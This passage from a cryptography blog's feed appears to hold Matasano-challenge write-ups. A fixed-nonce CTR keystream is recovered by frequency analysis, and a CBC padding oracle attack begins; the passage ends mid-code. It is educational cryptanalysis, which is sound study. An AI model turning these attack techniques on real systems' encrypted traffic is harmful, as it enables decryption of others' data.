&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;byte_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;klength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;klength&lt;/span&gt;
&lt;span class="mi"&gt;20&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;len_join_fuzzy_sets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;2496&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;join_fuzzy_sets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;most_likely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;c*ming {ith vivid fa&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Quite close. By manual inspection the correct plaintext should be &lt;code class="none"&gt;Coming with vivid fa&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With a &lt;em&gt;known plaintext&lt;/em&gt; breaking the rest of the key bytes is trivial:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;correction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Coming with vivid fa&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;correction&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;I have met them at c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Coming with vivid fa&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;From counter or desk&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Eighteenth-century h&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;I have passed with a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Or polite meaningles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Or have lingered awh&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Polite meaningless w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;And thought before I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Of a mocking tale or&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;To please a companio&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Around the fire at t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Being certain that t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;But lived where motl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;All changed, changed&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;A terrible beauty is&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;That woman&amp;#39;s days we&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;In ignorant good wil&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Her nights in argume&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Until her voice grew&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;What voice more swee&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;When young and beaut&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;She rode to harriers&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;This man had kept a &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;And rode our winged &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;This other his helpe&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Was coming into his &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;He might have won fa&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;So sensitive his nat&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;So daring and sweet &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;This other man I had&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;A drunken, vain-glor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;He had done most bit&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;To some who are near&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Yet I number him in &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;He, too, has resigne&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;In the casual comedy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;He, too, has been ch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Transformed utterly:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;A terrible beauty is&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ETAOIN&lt;/span&gt; &lt;span class="n"&gt;SHRDLU&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a statistical model for letter frequency in English and it was used to break most of the key stream bytes but its strength depends exclusively in how well the model represents the underlying plaintext.&lt;/p&gt;
&lt;p&gt;For the case of the first letter of all the plaintexts it was upper case and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ETAOIN&lt;/span&gt; &lt;span class="n"&gt;SHRDLU&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; model didn’t work and it was extended later.&lt;/p&gt;
&lt;p&gt;Once that we have a guess, filter them out requires more knowledge about the plaintext.&lt;/p&gt;
&lt;p&gt;Requiring to be the decrypted text plain ASCII is simple but too open; requiring to follow the English statistical model using a Chi-square test (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fit_freq_score&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) is stricter.&lt;/p&gt;
&lt;p&gt;However, like before, the statistical model only applies for long sequences (samples) and only if the underlying plaintexts are what one could expect.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;liberal&lt;/em&gt; scoring function like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; serves as a backup and it is better than nothing.&lt;/p&gt;
&lt;p&gt;Even with all of this, the most likely key stream guess may not be the correct one, inclusive, none of the key stream guesses may be the correct one!&lt;/p&gt;
&lt;p&gt;Correcting a key stream using more information about the plaintext like using a speller can narrow the search area further but there is no warranties.&lt;/p&gt;
&lt;p&gt;Sometimes you will need to relay in your own brain and do a manual fix.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/12/04/Fixed-Nonce-CTR-Attack.html" rel="alternate" type="text/html" title="Fixed Nonce CTR Attack"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="CTR" label="CTR"/>
    <category term="counter nonce" label="counter nonce"/>
    <category term="PRG" label="PRG"/>
    <category term="chi-square" label="chi-square"/>
    <category term="undistinguishable" label="undistinguishable"/>
    <published>2018-12-04T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/10/28/CBC-Padding-Oracle.html</id>
    <title>CBC Padding Oracle Attack</title>
    <updated>2018-10-28T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;AES and other ciphers work on blocks; if the plaintext length is not multiple of the block size a padding is added.&lt;/p&gt;
&lt;p&gt;If during the decryption the pad is checked and returns an error, we can use this to build a &lt;em&gt;padding oracle&lt;/em&gt;: a function that will tell us if an encrypted plaintext has a valid pad or not.&lt;/p&gt;
&lt;p&gt;It may not sound too much exiting but armed with this &lt;em&gt;padding oracle&lt;/em&gt; we can &lt;strong&gt;break CBC&lt;/strong&gt; one byte at time.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Ready? &lt;em&gt;Go!&lt;/em&gt;&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="padding-oracle"&gt;Padding oracle&lt;/h2&gt;
&lt;p&gt;Consider the following plaintext of 15 bytes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_bytes&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAABBBBAAAA&lt;/span&gt;&lt;span class="se"&gt;\x03\x03\x03&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;15&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if we pad this using &lt;code class="none"&gt;pkcs#7&lt;/code&gt; to complete a 16 bytes block, the last byte will be &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;mutable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if we change the last byte (we forge it), the unpad of the forged block will success or not based on what byte we set.&lt;/p&gt;
&lt;p&gt;Here is what I mean.&lt;/p&gt;
&lt;p&gt;There are three possible outcomes based on this last byte:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the unpad works because the last byte matches the original padding byte (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;the unpad works because the last byte matches &lt;em&gt;another&lt;/em&gt; padding sequence (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;the unpad fails.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="padding-check-cases"&gt;Padding check cases&lt;/h2&gt;
&lt;p&gt;The first case happen with the forged byte is actually the original the last byte.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;AAAABBBBAAAA&lt;/span&gt;&lt;span class="se"&gt;\x03\x03\x03&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The second case happen because our forged byte generates, by luck, another valid padding sequence.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x03&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;AAAABBBBAAAA&lt;/span&gt;&lt;span class="se"&gt;\x03&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The third and last case happen with any other byte:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x02&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Bad&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="mh"&gt;0x2&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mpadded&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Bad&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Armed with this we can build a &lt;strong&gt;padding oracle for CBC&lt;/strong&gt;: a function that will tell us if an encrypted plaintext has a valid pad or not.&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./posts/matasano/assets")
&gt;&gt;&gt; from challenge import generate_config, enc_cbc, dec_cbc  # byexample: +timeout=10

&gt;&gt;&gt; seed = 20181028
&gt;&gt;&gt; bsize = 16

&gt;&gt;&gt; cfg = generate_config(random_state=seed, block_size=bsize)
--&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt_and_unpad_oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
